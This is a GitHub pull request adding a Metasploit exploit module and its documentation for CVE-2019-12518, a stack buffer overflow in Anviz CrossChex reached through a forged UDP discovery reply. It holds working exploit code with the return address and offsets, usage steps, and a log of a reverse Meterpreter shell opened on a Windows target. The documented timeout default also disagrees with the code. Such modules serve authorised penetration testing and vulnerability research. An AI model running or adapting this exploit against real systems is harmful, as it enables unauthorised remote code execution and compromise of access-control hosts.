Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add crosschex buffer overflow exploit #12902

Merged
merged 13 commits into from
Feb 13, 2020
57 changes: 57 additions & 0 deletions documentation/modules/exploit/windows/misc/cross_device_bof.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
## Introduction

CrossChex is a personnel identity verification, access control, and time attendance management system compatible with Windows 7,8 & 10. It uses UDP broadcasts to identify and connect with Access Control devices on a network. The code used to handle a response from an Access Control device is vulnerable to a Stack Buffer Overflow attack on CrossChex versions `Crosschex Standard x86 <= V4.3.12`. Tracked as CVE-2019-12518, and as such permits abritrary code execution.

The code used to overflow the Stack Buffer and code an attacker wishes to be executed as a result of the exploit are sent in a single UDP packet as a response to the CrossChex broadcast. As both the exploit and the payload must be contained inside a single UDP packet, an exploit has a maximum size of `8947 Characters`.

This module exploits CVE-2019-12518 by listening for a CrossChex "new device" broadcast for a given number of seconds (`TIMEOUT`). It then responds with a UDP packet containing shellcode for both the Buffer Overflow exploit and the attacker's chosen payload. The `Space` payload option ensures no payload of too large a size is used to ensure successful explotation. If a broadcast is not detected within the given `TIMEOUT`, the module exits with a warning.

## Verification Steps

1. Start `msfconsole`
2. `use windows/misc/crosschex_device_bof`
3. `set LHOST vboxnet0`
4. `run`
5. Open CrossChex
6. Navigate to Device > Add
7. Select `Search`
8. Verify payload executes correctly

## Options

1. `TIMEOUT` Seconds module waits for broadcast, defaults to `1000`.
2. `CHOST`. Address UDP packet response is sent from. Defaults to `0.0.0.0`.
3. `CPORT`. Port UDP packet response is sent from. Defaults to `5050` as CrossChex expects communication from this port.

## Compatible Payloads

Any basic x86 windows payload.

## Payload Options
As above.

## Scenarios

```
msf5 exploit(windows/misc/crosschex_device_bof) > run

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] CrossChex broadcast received, sending payload in response
[*] Payload sent
[*] Sending stage (180291 bytes) to 192.168.56.3
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49160) at 2020-02-10 16:21:13 +0000

meterpreter > ls
Listing: C:\Program Files\Anviz\CrossChex Standard
==================================================
...



```

## References

1. <https://cvedetails.com/cve/CVE-2019-12518>
2. <https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html>
3. <https://www.exploit-db.com/exploits/47734>
82 changes: 82 additions & 0 deletions modules/exploits/windows/misc/crosschex_device_bof.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,82 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
PACKET_LEN = 10

include Msf::Exploit::Remote::Udp

def initialize(info = {})
super(update_info(info,
'Name' => 'Anviz CrossChex Buffer Overflow',
'Description' => %q{
Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,
agalway-r7 marked this conversation as resolved.
Show resolved Hide resolved
triggering a stack buffer overflow.
},
'Author' =>
[
'Luis Catarino <lcatarino@protonmail.com>', # original discovery/exploit
'Pedro Rodrigues <pedrosousarodrigues@protonmail.com>', # original discovery/exploit
'agalway-r7', # Module creation
'adfoster-r7' # Module creation
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-12518'],
['URL', 'https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html'],
['EDB', '47734']
],
'Payload' =>
{
'Space' => 8947,
'DisableNops' => true
},
'Arch' => ARCH_X86,
'EncoderType' => Msf::Encoder::Type::Raw,
'Privileged' => true,
'Platform' => 'win',
agalway-r7 marked this conversation as resolved.
Show resolved Hide resolved
'DisclosureDate' => '2019-11-28',
'Targets' =>
[
[
'Crosschex Standard x86 <= V4.3.12',
{
'Offset' => 261, # Overwrites memory to allow EIP to be overwritten
'Ret' => "\x07\x18\x42\x00", # Overwrites EIP with address of 'JMP ESP' assembly command found in CrossChex data
'Shift' => 4 # Positions payload to be written at beginning of ESP
}
]
],
'DefaultTarget' => 0
))
deregister_udp_options
register_options(
[
Opt::CPORT(5050, true, 'Port used to listen for CrossChex Broadcast.'),
Opt::CHOST("0.0.0.0", true, 'IP address that UDP Socket listens for CrossChex broadcast on. \'0.0.0.0\' is needed to receive broadcasts.'),
OptInt.new('TIMEOUT', [true, 'Time in seconds to wait for a CrossChex broadcast. 0 or less waits indefinitely.', 100])
])
end

def exploit
connect_udp
wvu marked this conversation as resolved.
Show resolved Hide resolved

res, host, port = udp_sock.recvfrom(PACKET_LEN, datastore["TIMEOUT"].to_i > 0 ? (datastore["TIMEOUT"].to_i) : (nil))
if res.empty?
fail_with(Failure::TimeoutExpired, "Module timed out waiting for CrossChex broadcast")
end

print_status "CrossChex broadcast received, sending payload in response"
sploit = rand_text_english(target['Offset'])
sploit << target.ret # Overwrites EIP with address of 'JMP ESP' assembly command found in CrossChex data
sploit << rand_text_english(target['Shift']) # Positions payload to be written at beginning of ESP
sploit << payload.encoded

udp_sock.sendto(sploit, host, port)
print_status "Payload sent"
end
end